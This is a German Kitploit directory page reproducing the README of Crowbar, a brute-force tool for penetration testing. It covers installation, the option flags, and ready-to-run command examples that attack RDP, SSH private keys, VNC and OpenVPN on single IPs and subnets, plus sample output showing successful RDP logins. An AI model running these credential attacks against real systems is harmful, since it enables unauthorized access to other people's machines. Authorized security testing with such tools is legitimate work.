Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
crowbar — Crowbar ist ein Brute-Force-Tool, das bei Penetrationstests eingesetzt werden kann. Es wurde entwickelt, um Protokolle zu unterstützen, die derzeit nicht von thc-hydra und anderen gängigen Brute-Force-Tools unterstützt werden. | Kitploit
Tools/GitHubGitHub/galkan/crowbar
PasswortangriffePenetrationstests
GitHubgalkan/crowbar

crowbar

Crowbar ist ein Brute-Force-Tool, das bei Penetrationstests eingesetzt werden kann. Es wurde entwickelt, um Protokolle zu unterstützen, die derzeit nicht von thc-hydra und anderen gängigen Brute-Force-Tools unterstützt werden.

Repository anzeigen
1.5k32121vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Crowbar - Brute-Force-Werkzeug

Was ist Crowbar?

Crowbar (früher bekannt als Levye) ist ein Brute-Force-Werkzeug, das bei Penetrationstests eingesetzt werden kann. Es wurde entwickelt, um einige Protokolle auf eine andere Art und Weise zu bruteforcen als andere gängige Brute-Force-Werkzeuge. Beispielsweise verwenden die meisten Brute-Force-Werkzeuge Benutzername und Passwort für SSH-Brute-Force, während Crowbar SSH-Schlüssel verwendet. Dies ermöglicht, dass private Schlüssel, die während Penetrationstests erlangt wurden, zum Angriff auf andere SSH-Server genutzt werden können.

Derzeit unterstützt Crowbar:

  • OpenVPN (-b openvpn)
  • Remote Desktop Protocol (RDP) mit NLA-Unterstützung (-b rdp)
  • SSH-Private-Key-Authentifizierung (-b sshkey)
  • VNC-Key-Authentifizierung (-b vnckey)

Installation

Kali-Linux-Benutzer können Folgendes ausführen

# sudo apt install -y crowbar

Andernfalls, wenn Sie aus dem Quellcode installieren möchten, installieren Sie alle Abhängigkeiten:

Debain 9/10+ & Kali Rolling

# sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer   python3 python3-pip

Debain 7/8 & Kali 1/2

# sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer

Dann holen Sie sich die neueste Version von GitHub:

# git clone https://github.com/galkan/crowbar
# cd crowbar/
# pip3 install -r requirements.txt

Hinweis: Das RDP-Client-Paket hängt von Ihrem Betriebssystem ab:

  • Debain 9/10 & Kali Rolling verwendet freerdp2-x11
  • Debian 7/8 & Kali 1/2 verwendet das freerdp-x11-Paket.
  • Ansonsten können Sie xfreerdp versuchen.
  • Die Rückfallmethode wäre, freerdp zu kompilieren und anzupassen, indem Sie folgen: http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.html

Vergessen Sie nicht, ./lib/main.py zu patchen, um auf die neue Binärdatei zu verweisen!


Verwendung

  • -b: Zieldienst. Crowbar unterstützt: openvpn, rdp, sshkey, vnckey
  • -c: Statisches Passwort zum Anmelden
  • -C: </path/to/file> für Passwortliste
  • -d: Führen Sie vor dem Brute-Force-Versuch einen TCP-Portscan (nmap) auf dem IP-Bereich (-s/-S) durch. Dies stellt fest, ob der Port des Ziels offen ist.
  • -D: Debug-Modus aktivieren
  • -h: Zeigt ein Hilfemenü an
  • -k: </path/to/file-or-folder> für Schlüsseldateien (für SSH oder VNC)
  • -l: </path/to/file> zum Speichern der Logdatei (Standard ist ./crowbar.log)
  • -m: </path/to/file> für eine OpenVPN-Konfigurationsdatei
  • -n: Thread-Anzahl
  • -o: </path/to/file> zum Speichern der erfolgreichen Versuche (Standard ist ./crowbar.out)
  • -p: Portnummer (falls der Dienst nicht auf dem Standard-Port läuft)
  • -q: Leisen Modus aktivieren (nur erfolgreiche Anmeldungen anzeigen)
  • -s: Ziel-IP-Adresse/-Bereich (in CIDR-Notation)
  • -S: </path/to/file>, das Ziel-IP-Adressen speichert
  • -t: Timeout-Wert
  • -u: Einzelner Benutzername
  • -U: </path/to/file>, das die Benutzernamenliste speichert
  • -v: Ausführlichen Modus aktivieren (zeigt alle Versuche an)

Wenn Sie alle Nutzungsoptionen sehen möchten, verwenden Sie bitte: ./crowbar.py --help.


ACHTUNG: Wenn Sie einen Benutzernamen mit DOMAIN verwenden möchten, geben Sie den Benutzernamen bitte wie unten an. Der Backslash (\) ist das Escape-Zeichen für Python. Sie müssen also eines der folgenden beiden Formate verwenden:

# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,

Demonstrationsvideos

  • https://www.youtube.com/watch?v=4QZAWGsveSM

Brute Forcing - Remote Desktop Protocol (RDP)

Nachfolgend einige Beispiele für Angriffe auf RDP mit Crowbar.

RDP-Brute-Force auf eine einzelne IP-Adresse mit einem einzelnen Benutzernamen und einem einzelnen Passwort:

# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456


RDP-Brute-Force auf eine einzelne IP-Adresse mit einer Benutzernamen-Listendatei und einem einzelnen Passwort:

# ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd


RDP-Brute-Force auf eine einzelne IP-Adresse mit einem einzelnen Benutzernamen und einer Passwortliste:

# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist


RDP-Brute-Force auf ein Subnetz mit einer Benutzernamenliste und einer Passwortliste im Erkennungsmodus:

# ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d


Brute Forcing - SSH Private Keys

Nachfolgend einige Beispiele, die Sie mit Crowbar durchführen können.

SSH-Key-Brute-Force-Versuch auf eine einzelne IP-Adresse mit einem einzelnen Benutzernamen und einem einzelnen privaten SSH-Key:

# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa


SSH-Key-Brute-Force-Versuch auf eine einzelne IP-Adresse mit einem einzelnen Benutzernamen und allen SSH-Keys in einem Ordner:

# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/


SSH-Key-Brute-Force-Versuch auf ein Subnetz mit einem einzelnen Benutzernamen und allen SSH-Keys in einem Ordner im Erkennungsmodus:

# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d


Brute Forcing - VNC

Nachfolgend ein Beispiel für einen Angriff auf einen VNC-Dienst mit Crowbar.

VNC-Brute-Force-Versuch auf eine einzelne IP-Adresse mit einer Passwortdatei und angegebener Portnummer:

# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k ~/.vnc/passwd


Brute Forcing - OpenVPN

Nachfolgend ein Beispiel für einen Angriff auf OpenVPN mit Crowbar.

OpenVPN-Brute-Force-Versuch auf eine einzelne IP-Adresse mit einer Konfigurationsdatei, einem einzelnen Benutzernamen und einem einzelnen Passwort mit angegebener Portnummer und optionaler Zertifikatsdatei. Dabei spielt es keine Rolle, ob es sich um TCP oder UDP handelt:

# grep remote ~/Desktop/vpnbook.ovpn
remote vpn.example.com 1194 udp
# host vpn.example.com | awk '{print $1}'
198.7.62.204
# grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF


Logs & Ausgabe

Tool herunterladen